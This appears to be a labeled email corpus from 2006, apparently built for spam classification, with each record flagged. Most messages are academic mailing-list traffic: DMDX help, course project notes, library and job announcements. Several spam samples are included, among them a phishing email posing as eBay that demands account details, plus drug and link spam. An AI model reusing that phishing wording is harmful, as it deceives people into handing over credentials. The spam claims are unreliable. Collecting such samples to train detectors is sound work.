28 April 2006 ----------------------------------------------- There are 102 vacancies currently listed in our Microfinance Jobs Marketplace. This email bulletin will feature 14 job vacancies that have been updated since our previous jobs bulletin. Below you will find the latest additions. NOTE: The Microfinance Gateway cannot process applications for the positions advertised. You must contact the organization offering the position to express your interest. ----------------------------------------------- Country Director, Guatemala Offered by: Friendship Bridge Probable closing date: May 24, 2006 ----------------------------------------------- Credit Manager - MFIs, Multiple locations Offered by: Horus Development Finance Probable closing date: May 15, 2006 ----------------------------------------------- Development Finance Intern, United States Offered by: CHF International Probable closing date: June 15, 2006 ----------------------------------------------- Financial Manager, Honduras Offered by: Adelante Foundation Probable closing date: May 19, 2006 ----------------------------------------------- Loan Intake Customer Service Representative, United States Offered by: ACCION New York Probable closing date: May 28, 2006 ----------------------------------------------- Manager - Funding Department, France Offered by: PlaNet Finance Probable closing date: May 15, 2006 ----------------------------------------------- Marketing Assistant, United States Offered by: Grameen Foundation Probable closing date: June 26, 2006 ----------------------------------------------- Micro Finance Program Manager, Afghanistan Offered by: Mission d'Aide au Développement des Economies Rurales en Afghanistan (MADERA) Probable closing date: May 26, 2006 ----------------------------------------------- Portfolio Administrator, United States Offered by: Partners for the Common Good, Inc. (PCG) Probable closing date: June 04, 2006 ----------------------------------------------- Program Executives (2), India Offered by: Sa-Dhan Probable closing date: May 05, 2006 ----------------------------------------------- Program Officer - Lending, United States Offered by: Impact Capital Probable closing date: June 01, 2006 ----------------------------------------------- Regional Microfinance and Health Protection Manager, West Africa Offered by: Freedom from Hunger Probable closing date: June 27, 2006 ----------------------------------------------- Resident Advisor, Ghana Offered by: CHF International Probable closing date: May 26, 2006 ----------------------------------------------- Team Leader: Mid-Term Evaluation, Sierra Leone Offered by: United Nations Capital Development Fund (UNCDF) and Microfinance Investment and Technical Assistance Facility (MITAF) Probable closing date: May 08, 2006 ----------------------------------------------- TO SEE MORE MICROFINANCE JOBS: The complete list is visible at: http://www.microfinancegateway.org/content/jobs/ TO SUBSCRIBE: Please use our online tool at: http://www.microfinancegateway.org/content/newsletter/subscribe TO UNSUBSCRIBE: Use our online tool at: http://www.microfinancegateway.org/content/newsletter/unsubscribe/?mode=login TO ANNOUNCE A JOB VACANCY: If you would like to advertise a vacancy through this bulletin and on the Microfinance Gateway Job Marketplace, please use the online form available at: http://www.microfinancegateway.org/content/jobs/submit/ CONTACT US: at webmaster@microfinancegateway.org In the subject line, please write the word ""JOBS"". Elaborate on your request / comment / suggestion in the body of your email. -----------------------------------------------",0,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Fri, 28 Apr 2006 12:15:05 -0500",[DMDX] wav file path," I am new to using DMDX, and can't find some info. I am running an experiment with audio as the main stimuli (the video will just be two icons). How do I let DMDX know where to find the proper wav files? Do I have to enter a path somewhere, if so, where? Thank you for your help, Dennis Tomashek dennist2@uwm.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Apr 2006 10:20:38 -0700",[DMDX] Re: wav file path,"At 12:15 PM 4/28/2006 -0500, you wrote: >I am new to using DMDX, and can't find some info. I am running an experiment >with audio as the main stimuli (the video will just be two icons). How do >I let >DMDX know where to find the proper wav files? Do I have to enter a path >somewhere, if so, where? The names of the wave files will have the path in them. It can either be a relative path from the directory the item file is in or an absolute path. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Flugg's Law: When you need to knock on wood is when you realize that the world is composed of vinyl, naugahyde and aluminum. ",0,0 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Fri, 28 Apr 2006 10:56:01 -0500",FGP class presentation info for next week,"Hi FGP seminar, As I mentioned yesterday, next week we'll have in-class project presentations. I am really looking forward to seeing what all of you have done for your projects. Each group will have a 15 minute slot. You should plan on using 8-10 minutes *maximum* for your pre-prepared presentation. That will leave plenty of time for questions. Your presentation should explain: - what problem you're attacking, and why it's important - how your work relates to other ideas/research (keep this brief, due to time constraints) - your basic approach - your results - discussion/conclusion. In particular, what interesting things did you learn? What surprised you? Is this line of work worth continuing, and if so, how? I will supply the snacks for the last class, so you just need to show up with your presentation. I will draw names from a hat or come up with some other scheduling algorithm by Friday. You should be ready to go at the start of class! If you have schedule constraints, please send me an email to tell me what they are, even if you've done so before. Good luck with the home stretch, Bill ",0,0 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Fri, 28 Apr 2006 11:49:49 -0500",FGP project write-ups,"Hi again FGP'ers, Another quick reminder -- the writeups for your final project are due at 11:59 pm a week from today (Friday). Bill ",0,0 Stephen Paul Davis ,"cul@columbia.edu, ccnmtl@columbia.edu","Fri, 28 Apr 2006 13:48:01 -0400","REMINDER: DL Seminar ""DLF Aquifer Initiative"" -- Friday, May 5, 10:00","Reminder:  Those interested in the future of libraries or in the large-scale digitization and online availability of printed texts will not want to miss next week's presentation by Katherine Kott, Director of the DLF Aquifer project.               /Stephen Background info at:   http://www.diglib.org/aquifer/ http://www.clir.org/pubs/issues/issues45.html#dlf http://www.hti.umich.edu/a/aquifer/ (Prototype Aquifer Portal) SPEAKER: Katherine Kott, Aquifer Director, Digital Library Federation (DLF) WHEN: Friday, May 5 ~ 10:00-11:30 AM WHERE: 203 Butler Library ""DLF Aquifer is an initiative of the Digital Library Federation. Envisioned as a means of leveraging digital library content, DLF Aquifer is creating scalable solutions to enable teaching, learning and scholarship. Beginning with a significant, well-bounded collection of digital content in the area of American culture and life, DLF Aquifer is creating a test-bed of tools for selecting, collecting and providing access to quality digital content. Grounded in the thinking that libraries add value through the organization of information, DLF Aquifer offers opportunities for collaboration among libraries and with partners building repositories, content management systems, course management systems and other solutions that support the scholarly process.""",0,1 Gem Naivar ,cs352-swk@lists.cc.utexas.edu,"Fri, 28 Apr 2006 14:46:24 -0500",Found Notebook,"Dear Students, If one of you is missing a medium sized spiral notebook with a green cover, please stop by my office, ACES 3.422, to collect it. Thanks, Gem ",0,0 Scott Dietz ,lyon@wheatonma.edu,"Fri, 28 Apr 2006 14:43:52 -0400",Harlow Wins Eastern College High Jump Competition During Penn Relays,"Harlow Wins Eastern College High Jump Competition During Penn Relays PHILADELPHIA, PA- Junior Jennifer Harlow (East Bridgewater, MA/East Bridgewater) became the first Wheaton College track and field athlete since the 2002 season to win a high jump competition at the prestigious Penn Relays, as she cleared 5' 7 1/4"" during the 112th running of the relays at the University of Pennsylvania's historic Franklin Field. Dan Olson '05 captured the men's title in 2002 with a leap of 7' 1 3/4"". Harlow edged out her closest Eastern college competitors from Syracuse University and Bowie State University. Harlow's height not only automatically qualified her for the NCAA Division III Championship but it was also the third-best jump of Thursday's two flights, falling just short of Division I athletes from Morgan State University and the University of Arkansas. Wheaton's women's 4x400-meter relay team also competed at the event, as the freshman quartet of Lily Calderwood (Harvard, MA/Bromfield School), Chizoba Ezeigwe (Brockton, MA/Thayer Academy), Natana Jules (Brooklyn, NY/Boys and Girls) and Christine Moreau (Lincoln, RI/Lincoln) finished third overall in their heat. The Wheaton teams return to action tomorrow for the New England Women's and Men's Athletic Conference (NEWMAC) Championships at Massachusetts Institute of Technology (MIT). The women are aiming for their ninth straight conference title. ********************************************************** Scott Dietz Assistant Director of Athletics for Media Relations Wheaton College 26 East Main Street Norton, MA 02766 P- (508) 286-3768 F- (508) 286-8273 sdietz@wheatonma.edu http://www.wheatonma.edu/athletics ",0,1 Hongchuan Zhang ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Apr 2006 16:09:04 -0700",[DMDX] Timing of mwc continued,"Dear Sir, I just have some further questions related to call keyword. In the following script (tick length = 16.65ms): 0 ""Press Spacebar to begin""; 1 <% 60> ""GO""/<% 39>/ m1## m2## mC## mW##; 999 d2 ""Time Out"" <% 12>/ ; 991 d2 ""CORRECT"" <% 12>/; 992 d2 ""WRONG"" <% 12>/; +1<% 12> g ""fix_white""/ ~1 ~C*<% 36> g ""noise1""/<% 36>/!; -2<% 12> g ""fix_white""/ ~2 ~C*<% 36> g ""noise2""/<% 36>/!; at which point the time out text 999 is called? I think it is called right after the time-out point 1500ms set by the count-on asterisk, so the total duration of one trial should be 12+36+20+(36+1)+(2+12+1)=120 ticks. However, DMDX told me there was a 16-ticks delay. This delay only disappeared after I set time-out=1200. The second question is DMDX also reported a delay of 5 ticks for the instruction ""Press Spacebar to begin"" which varied from time to time. This did not get improved by varying the time-out limit. Hongchuan -------------------------------------------- Hongchuan Zhang, Ph.D Center for Human Development University of California, San Diego AP&M Annex, 9500 Gilman Drive, 0115 La Jolla, CA, 92093-0115 Tel: (858) 534-2342 FAX: (858) 534-2344 hczhang@ucsd.edu",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Apr 2006 17:17:25 -0700",[DMDX] Re: Timing of mwc continued,"At 04:09 PM 4/28/2006 -0700, you wrote: >Dear Sir, > > I just have some further questions related to call keyword. In the > following script (tick length = 16.65ms): > > > >0 ""Press Spacebar to begin""; > >1 <% 60> ""GO""/<% 39>/ >m1## >m2## >mC## >mW##; > >999 d2 ""Time Out"" <% 12>/ ; >991 d2 ""CORRECT"" <% 12>/; >992 d2 ""WRONG"" <% 12>/; > >+1<% 12> g ""fix_white""/ ~1 ~C*<% 36> g ""noise1""/<% 36>/!; >-2<% 12> g ""fix_white""/ ~2 ~C*<% 36> g ""noise2""/<% 36>/!; > >at which point the time out text 999 is called? I think it is called right >after the time-out point 1500ms set by the count-on asterisk, so the total >duration of one trial should be 12+36+20+(36+1)+(2+12+1)=120 ticks. The D parameter delay is the inter item delay, there is no inter frame delay. It's 12 + 36 + 36 + 1 + (2 + 12 + 1). Slashes are frame delimiters, semicolons are item delimeters. > However, DMDX told me there was a 16-ticks delay. This delay only > disappeared after I set time-out=1200. The 16 tick delay is an error, your machine is not able to get the Time Out item displayed within the time specified and is late by 16 ticks. This is caused by your timeout being longer than the remaining display duration from the clock on, 36 + 36 + 1 ticks. 1500ms is going to be at least 90 ticks. >The second question is DMDX also reported a delay of 5 ticks for the >instruction ""Press Spacebar to begin"" which varied from time to time. This >did not get improved by varying the time-out limit. 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Similar remaks can be made about the simpe rules or >>programs that reproduced the shapes of shells so realistically on p. 416 >>of the above book. >More interestingly, I recall from my undergraduate days that hexagonal >grids were required for CAs to simulate fluid flow, regular square >lattices just don't cut the mustard. Yes. Wolfram used a hexagonal grid, each hexagon in turn divided into 6 trialges. Does anybody know why it is necessary to use hexagonal lattices to simulate turbulence? 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Also note the following about the order in which cache lines are printed to output file. When you have multiple invalid cache lines within a set, I choose the last line for replacement. This is purely implementation dependent and has no design issues. For example, initial cache status Set Valid Tag Modified Data 0 F 0 F 0 0 F 0 F 0 Command: Load 1000 Say, address 1000 matches to index 0. Now I can load 1000 in the first line or the second line (since it is a two way set associative cache. My implementation chooses the second one. Hence the output is: Set Valid Tag Modified Data 0 F 0 F 0 0 T 100 F 1000 Make sure, you print the cache lines in the order that matches with the output files so that ""diff"" will not give any differences. Madhavi On Sun, 30 Apr 2006, Kenneth Pfile wrote: > This is an important question, depending on how it will be graded. If it is > going to be graded using ""diff"", I think that we need a little more help on > the exact output format because it looks like there is a combination of > spaces and tabs in the output files that is kinda confusing. > > Elton Pinto wrote: >> On Madhavi's printouts, she seems to get all her data in the cache and >> memory to be aligned to the right. How is she doing this? I'm just using /t >> to tab, but she must be doing something else. My answers are all correct, >> but for memory, the alignment gets out of wack when the data becomes big. >> >> Probably not important, but just thought I'd see if anyone knew how to do >> this. >> >> Thanks, >> >> Elton >",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Mon, 01 May 2006 14:17:21 -0500",Re: Output format and order of cache lines,"Hi CS352-ers, In my previous mail, the cache contents were not aligned properly. ----------------------------------------------------------------------- Note the following about the order in which cache lines are printed to output file. When you have multiple invalid cache lines within a set, I choose the last line for replacement. This is purely implementation dependent and has no design issues. For example, initial cache status Set Valid Tag Modified Data 0 F 0 F 0 0 F 0 F 0 Command: Load 1000 Say, address 1000 matches to index 0. Now I can load 1000 in the first line or the second line (since it is a two way set associative cache. My implementation chooses the second one. Hence the output is: Set Valid Tag Modified Data 0 F 0 F 0 0 T 100 F 1000 Make sure, you print the cache lines in the order that matches with the output files so that ""diff"" will not give any differences. Madhavi ",0,0 ARL Communications ,,,"On the ARL Server (May 1, 2006)","On the ARL Server Week of May 1, 2006 EDUCAUSE Podcast Interview with SPARC Director Heather Joseph, from the 2006 CNI Spring Task Force Meeting Mapping License Language for Electronic Resource Management, ALA Preconference Workshop, June 22, 2006 ARL Events at ALA, New Orleans, June 2006 ARL Membership Meeting, May 16–19 in Ottawa Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Mon, 01 May 2006 17:01:52 -0500",memory initialization for project,"CS352-ers, Apparently there is still some confusion on how to initialize memory at the beginning of simulation: ""Initialize each word (of memory) to its address"" in project handout #1. Comments: 1) Recall that memory is byte addressable but accessed on word boundaries. 2) Do not initialize each byte of memory to its address, but instead each word to its address. If you consider memory as an array 4 bytes wide (one word) and 1 Meg long (4MB total), you would end up with the following after initialization: Memory address Initial Data ---------------------------------------- 0x00000000 0x00000000 0x00000004 0x00000004 0x00000008 0x00000008 0x0000000c 0x0000000c 0x00000010 0x00000000 0x00000014 0x00000004 0x00000018 0x00000008 0x0000001c 0x0000000c 0x00000020 0x00000020 0x00000024 0x00000024 0x00000028 0x00000028 0x0000002c 0x0000002c ... SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Mon, 01 May 2006 17:26:15 -0500",[FGP] Everyone gets an extension on final project writeup,"Hi FGP class, The combination of requests for an extension last Thursday and a desire on my part to make up for being a bit slow in giving feedback on the mid-project reports has led me to decide that... (drumroll)... Everyone gets an extension on the final project due date. Presentations are still due in class on Thursday, but the final reports are not due until *Tuesday May 9th at 11:59pm*. I hope this will ahelp ll of you to bring your final projects to a state where you're happy with what you've done. Bill P.S. Please note that there won't be any further extensions! ",0,0 Carroll ,UnsupportedOSX@mail.maclaunch.com,"Sun, 30 Mar 2003 21:26:33 -0700",PM fromCarroll,"Hi, em..... I gotta tell you something. Some years ago I used to watch porno often. I always admired those guys cumming. They splashed out so much sperm on their girls, it looked so cool, so manlike. Now I have a girlfriend.. but quantity of my sperm was so scanty, that I felt ill at ease. I was advised to eat green apples but even this didn't help. A month ago I was hanging around at the bar with my best friend. And he said that I should try MAX LOADS. Well, - I thought, - sounds interesting. Next day I came to know that it was really a highly effective all-natural dietary supplement, which not only increases the sperm volume but also improves the sperm quality and the mobility of spermatozoa. Having ordered and tried I was shocked how cool it was. I'd even say, it changed my life. I'm happy. I even became a better lover, knowing how it all would end. By the way, read about MAX LOADS at this site: http://www.sevenhundreded.com/ Yes, that guys have really acceptable prices if you decide to order and ship worldwide. http://www.sevenhundreded.com/ yeast you diffusible me, chao brilliant neonatal . broadway you gross me, augustus kibitz charisma . picosecond you avowal me, downgrade . anodic you bimetallism me, ophiuchus calamitous . http://www.sevenhundreded.com/c82/ ",1,1 Anunciacio Bergquist ,webmaster@kukui.ifa.hawaii.edu,"Tue, 02 May 2006 03:18:15 -0700",Re: AMmBtEN news,"Hi, C L V V P A X I e A I r m a A v L A o b n L i I G z i a I t U R a e x S ra M A c n http://www.4cus2mer.com/ms/ Yes, yes! they said, though everybody knew they could not have been long about it; they had come back too quick. It isnt all that big, and it does not go far back. That, of course, is the dangerous part about caves: you dont know how far they go back, sometimes, or where a passage behind may lead to, or what is waiting for you inside. But now Fili and Kills news seemed ",1,1 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 02 May 2006 02:27:36 -0400",PAPER 26,"SONY: The document discusses the evolution of copyright law in the context of technological devices including P2P networks. It was in the historic Sony Betamax case where Sony was eventually found not liable for copyright infringing actions by users of their product because their product had ""substantial noninfringing use"" and they did not directly contribute to or encourage such actions. At this time it was also questionable as to whether the use of the VTR for time- shifting of media was in fact fair use of the broadcast. Since some stations expressly authorized time-shifting, it was found that the VTR has substantial noninfringing uses and Sony was not held liable. In the case of Napster, it was found that Napster contributed to infringement by indexing copyrighted works and not blocking their transfer. In Grokster, the decentralized structure of the network meant that the software authors had not the ability to control the network nor did they directly supply copyrighted works and so were initially not held liable. This decision was somewhat overturned later by the Supreme Court when they found that infringement was essentially promoted by Grokster. The paper illuminates a pivotal element in copyright law: How to balance the rights of the owner and the consumers of the media. I was very much surprised to find that time-shifting may have been ruled non fair use of the VTR. It seems similar to me to ask the audience at a circus not to remember what they had seen or describe the performance in any way to others after having left. Once something has been broadcast, it seems difficult to me that a television station can claim that they retain any ownership of it. It this similar strain of thinking, my tendency is that the authors of a P2P software can only be held liable for infringement if they actively promote infringement. Whether the authors know infringement occurs, or the fraction of infringing use does not seem an important factor to me. It is well know that guns can be used for murder, and it is well known that deer do not wear bullet proof vests. Yet, gun manufacturers are not considered to be inducing murder by selling armor piercing bullets.",0,0 """support@ebay.com"" ",,"Tue, 02 May 2006 13:02:24 +0300",Billing Issues !!,"eBay  Security & Resolution Center     Dear Valued eBay Member,                                                                                     We regret to inform you that your eBay account could be suspended.   To resolve this problem simply re-enter your correct information to validate your account. If this problem will not be resolved your account will remain suspended for a period of 3-4 days, after this period your account will be terminated.   To proceed: http://www.ebay.com/   Regards, eBay Member Services   *Note: Due to the suspension of this account, please be advised you are prohibited from using eBay in any way. This includes the registering of a new account. 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Designated trademarks and brands are the property of their respective owners. eBay and the eBay logo are trademarks of eBay Inc.",1,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 02 May 2006 09:28:13 -0500",Format for printing statistics,"Here is the format for printing the statistics: System.out.printf(""STATISTICS: \\n""); System.out.printf(""Misses: \\t %lld \\t\\t %lld \\t\\t %lld \\n"", misses, misses_read, misses_write); System.out.printf(""Miss rates: \\t %1.4f \\t %1.4f \\t %1.4f \\n"", mrate, mrate_read, mrate_write); Madhavi ",0,0 Marian Dworaczek ,,,Subject Index to Literature on Electronic Sources of Information,"The May 1, 2006 edition of the ""Subject Index to Literature on Electronic Sources of Information"" is available at: http://library.usask.ca/~dworacze/SUBJIN_A.HTM The page-specific ""Subject Index to Literature on Electronic Sources of Information"" and the accompanying ""Electronic Sources of Information: A Bibliography"" (listing all indexed items) deal with all aspects of electronic publishing and include print and non-print materials, periodical articles, monographs and individual chapters in collected works. This edition includes 2,300 indexed titles. Both the Index and the Bibliography are continuously updated. Introduction, which includes sample search and instructions how to use the Subject Index and the Bibliography, is located at: http://library.usask.ca/~dworacze/SUB_INT.HTM This message has been posted to several mailing lists. Please excuse any duplication. ************************************************* *Marian Dworaczek *Monographs Coordinator *University of Saskatchewan Library *E-mail: marian.dworaczek@usask.ca *Home Page: http://library.usask.ca/~dworacze ",0,1 Marian Dworaczek ,"asis-l , bibsocan , bibcanlib-l , autocat , alf , acqnet , arl-ereserve ","Tue, 02 May 2006 07:35:06 -0600",Subject Index to Literature on Electronic Sources of Information,"The May 1, 2006 edition of the ""Subject Index to Literature on Electronic Sources of Information"" is available at: http://library.usask.ca/~dworacze/SUBJIN_A.HTM The page-specific ""Subject Index to Literature on Electronic Sources of Information"" and the accompanying ""Electronic Sources of Information: A Bibliography"" (listing all indexed items) deal with all aspects of electronic publishing and include print and non-print materials, periodical articles, monographs and individual chapters in collected works. This edition includes 2,300 indexed titles. Both the Index and the Bibliography are continuously updated. Introduction, which includes sample search and instructions how to use the Subject Index and the Bibliography, is located at: http://library.usask.ca/~dworacze/SUB_INT.HTM This message has been posted to several mailing lists. Please excuse any duplication. ************************************************* *Marian Dworaczek *Monographs Coordinator *University of Saskatchewan Library *E-mail: marian.dworaczek@usask.ca *Home Page: http://library.usask.ca/~dworacze ",0,1 Barbara Denison ,"""Barbara B. Denison"" ","Tue, 02 May 2006 10:30:34 -0400",IT Jobs,"This email is an update on current opportunities. The first is a full-time position. The Reynolds & Reynolds opportunities are for internships starting summer and require the applicant to be fluent in Mandarin. 1. McGrath Group Management Our company, McGrath Group Management (MGM) is a medical billing company based in Blue Ash, Cincinnati with 40 full time and part time employees. MGM is a traditional outsourced provider of accounts receivable management services for physician practices in seven states to about 400 Physicians. We have our own proprietary software, known as MemPhys. MGM has used remote accessed, central application servers to provide business applications to medical practices since 1980. Please see below high level view the job responsibility. ========= Responsibilities ========== > Develops, maintains systems, databases, internet and network in order to automate company processes, and maintain and manage network applications. > Troubleshoots problems with applications and network: researches, tests and isolates problems, and designs and implements solutions. > Monitors usage trends, registers new users, manages user accounts and administers security controls. > Communicates effectively and presents information both orally and in writing with both technical and non-technical audiences. > Develop and maintain systems/application/trouble shooting documentations > Troubleshoot end user PC problems of all complexity, often requiring in-depth examination of underlying PC, OS, configurations, application software and extensive research. > Responsible for troubleshooting applications conforming with protocol layers with the appropriate applications group to troubleshoot and resolve. > Server administrations (three separate networks - production/test/disaster recovery) to include user account administration, backups, and complex application software administration ========== Knowledge/Skills ========== > General infrastructure + security principles; distributed network architectures Unix, Windows TCP/IP concepts, services User authentication technologies [X.509, Kerberos, AD] Relational database principles > Perl, Python, SQL, C++, Linux (Redhat flavor preferred) – network/gateway/router security and firewall, Network File Server, sendmail and ftp servers. Web Server, .Net (VB and ASP). General office productivity tools like MS Office and Visio. ========== Candidate Profile ========== > Good technical aptitude and analytical skills > Must possess good interpersonal, organizational, time management, judgment, and decision-making skills. > Strong oral and written communication skills > Ability to manage and maintain composure in stressful and demanding multi-task work environment. > Exercise flexibility and resourcefulness in challenging and /or perplexing situations. > Work Week: Monday – Friday. (Must be able to work Saturday's and Sunday's if the needs of the business require) > Hours of Operation: 7:30 AM to 6:00 PM *Min GPA: 3.5 * */Regards/* */ /* */Jagdish K Bhati /* */Chief Operating Officer/* */McGrath Group Management/* */Office: +1 513 721-3504 ext. 219 /* */Mobile/*: +1 513 652 6987 */Fax /**: +1 513 345 6281* */Home: +1 513 561 4566/* */E-mail: j.bhati@mcgrathgm.com /* */_“CONFIDENTIALITY NOTICE_/*/: This message, including any attachments, is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender via E-mail and destroy all copies of the original message and any attachments. McGrath Group Management, Inc.”/ 2. Reynolds & Reynolds Reynolds & Reynolds wants interns starting summer. The intern could possibly work through next year and they are interested in people who would be able to work in China possibly starting summer 2007. They are looking for individuals to be software testers, software developers and business analysts. Their most important first criteria is to be fluent in Mandarin. All resumes relating to China are to be emailed directly to Connie Partridge at connie_partridge@reyrey.com. Connie Partridge Reynolds & Reynolds Staffing Connie_partridge@reyrey.com 937.485.0408 -- Barbara Denison Assistant Professor, Information Systems and Operations Management Raj Soin College of Business - www.wright.edu/business Wright State University 3640 Colonel Glenn Highway Dayton, OH 45435-0001 Phone: (937) 775-2416 or 2895 FAX: (937) 775-3533 Email: barbara.denison@wright.edu",0,0 Bobby Kelley Mercado ,"Elvis , bait11@aol.com, bait2@free.fr","Sat, 29 Apr 2006 08:58:36 -0800",Wilfred recommends these,"What's up Elvis, Wilfred recommends these http://osacnj.swiss-qualiti.com the Marilyn Gregg they mild Elvis deadlock are, of complete cobol own and licensor Elvis MERGE_GROUP_13 why licensor MERGE_GROUP_13 own diffuse cemetery will sundial. ",1,1 """Daita D. Ciobanu"" ",romanianclub@columbia.edu,"Tue, 02 May 2006 13:09:15 -0400","invitation: Oedipe – the US premiere, a film by Mihai Cosma, May 8, 7pm","-------- Original Message -------- Subject: invitation: Oedipe – the US premiere, a film by Mihai Cosma, May 8, 7pm Date: Tue, 2 May 2006 12:05:57 EDT From: Roculture@aol.com To: Roculture@aol.com May 2, 2006 */ The Romanian Culture Institute in New York / kindly invites you to Oedipe – the US premiere, a film by Mihai Cosma May 8, 7 pm, The Auditorium (2^nd floor)* 200 East 38^th Street (3^rd Avenue), New York, NY 10016 Produced by Senso TV, Mihai Cosma’s documentary (associate professor and director of the Research Department at the Conservatory in Bucharest) records the success of the Enescu mini-festival at the University of Illinois, Urbana-Champaign in 2005, an event authored by viruoso violinist and academic Sherban Lupu, which hosted the US premiere of /Oedipe, /Enescu’s masterpiece opera. The documentary was widely acclaimed by critics in Romania. The film screening will be followed by a mini-conference by Mihai Cosma and a short recital by young pianist Irina Vasilescu. Mr. Gabriel Banat will be the guest of honor for the evening and he will comment the film and discuss Enescu’s eprsonality alongside whom he concerted both in Romania and the United States. Mr. Banat is a distinguished musician, a concert violinist with a long career in the New York Philharmonic, an academic and the author of several music monographs, the latest of which, /The Chevalier de Saint-Georges – Virtuoso of the Sword and the Bow,* */has been published this year by Pendragon Press. *Coming events at RCINY*: * **May 3, *7-9 pm, The East-West Gallery Monthly Evaluations by Ioana Nemes, Curated by Simona Nastac 573-577 3^rd Avenue (38^th Street), New York, NY 10016 *May 3,* 7 pm, The Auditorium (2^nd floor) Alexandru Singer presents Hasefer Publishing House (Romania) 200 East 38^th Street (3^rd Avenue), New York, NY 10016 * May 6, *7 pm, The Auditorium (2^nd floor) Romanian artists for all seasons - poets: Liviu Georgescu 200 East 38^th Street (3^rd Avenue), New York, NY 10016 *The Romanian Cultural Institute in New York (ICRNY)* 200 East 38th Street, New York, NY - 10016 Tel: 212-687-0180 - Fax: 212-687-0181 roculture@aol.com www.icrny.org ICRNY is the antenna of the Romanian Cultural Institute, Bucharest www.icr.ro",0,1 Maria Luiza Cunha Lima ,DMDX@psy1.psych.arizona.edu,"Tue, 02 May 2006 17:24:19 -0300",[DMDX] Re: problems running dmdx,"Hi, I thank you for your help again, but I am still getting the same message: Directx reports no support for Page Flipping. The video card in this > >machine is not adequate for DMDX'x purposes"". I have already removed the video card and installed it again, I have updated directx, and nvidia video driver. Since things remained the same I tried changind the video card, but unfortunately I keep receiving the same message. I have a Intel Pentium 4, 80G HD and 512 RAM, and I am using windows 2000. Does anybody have any idea about what is going wrong? I thank you very much in advance. Maria Luiza On 4/20/06, Jonathan C. Forster wrote: > At 07:34 AM 4/20/2006 -0300, you wrote: > >Hello, > >I thank you very much for your help. Unfortunately, I have tried to > >change hardware acceleration and it didn't work, I keep receiving the > >same message: > >""Directx reports no support for Page FlippingThe video card in this > >machine is not adequate for DMDX'x purposes"". > >One friend of mine has the same videocard on another computer and > >dmdx's runs nicely. > >Did anybody have a problem like this? > > Not that I've heard about. The times I've run into this it's either > been the hardware acceleration slider or the video card wasn't actually > capable of page flipping -- your card is certainly supposed to be capable > of page flipping as are all cards made in the last decade. It's possible > your card is damaged however it's more likely that the drivers are borked > and removing the card in the device manager and letting XP detect it again > on reboot will fix things. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""I couldn't remember when I had been so disappointed. Except perhaps > the time I found out that M&Ms really *do* melt in your hand ..."" > > - Peter Oakley > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Tanmoy ,DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 02:18:54 +0530",[DMDX] language fonts,"Is there a way to have more than one language in an item file? If I have the test sentences in one language, the instructions in English also tend to get converted to that font. Thanks in advance, Tanmoy ",0,0 John Kramar ,Unsupported OS X ,"Tue, 02 May 2006 14:50:02 -0400",Re: Requirements for Leopard,"I don't know about G3's. The current iLife suite says it requires a G4. So Apple already is dropping G3 support. Though iLife '06 does run on a G3 (I had to copy it from one of my G4 machines). ",0,0 ARL Communications ,,,Bimonthly Report on Research Library Issues and Actions,"The latest issue of the ARL Bimonthly Report will be shipped to ARL member libraries & subscribers this week.  The issue is also available on the Web.  The table of contents--with links to the HTML & PDF versions of each article--is provided below. A Bimonthly Report on Research Library Issues and Actions from ARL, CNI, and SPARC April 2006 Issue 245 Download a PDF of this complete issue Table of Contents The State of the Large Publisher Bundle: Findings from an ARL Member Survey by Karla Hahn, Director, ARL Office of Scholarly Communication [HTML] [PDF] Surveying the E-Journal Preservation Landscape by Anne R. Kenney, Associate University Librarian, Instruction, Research, and Information Services, Cornell University Library [HTML] [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the 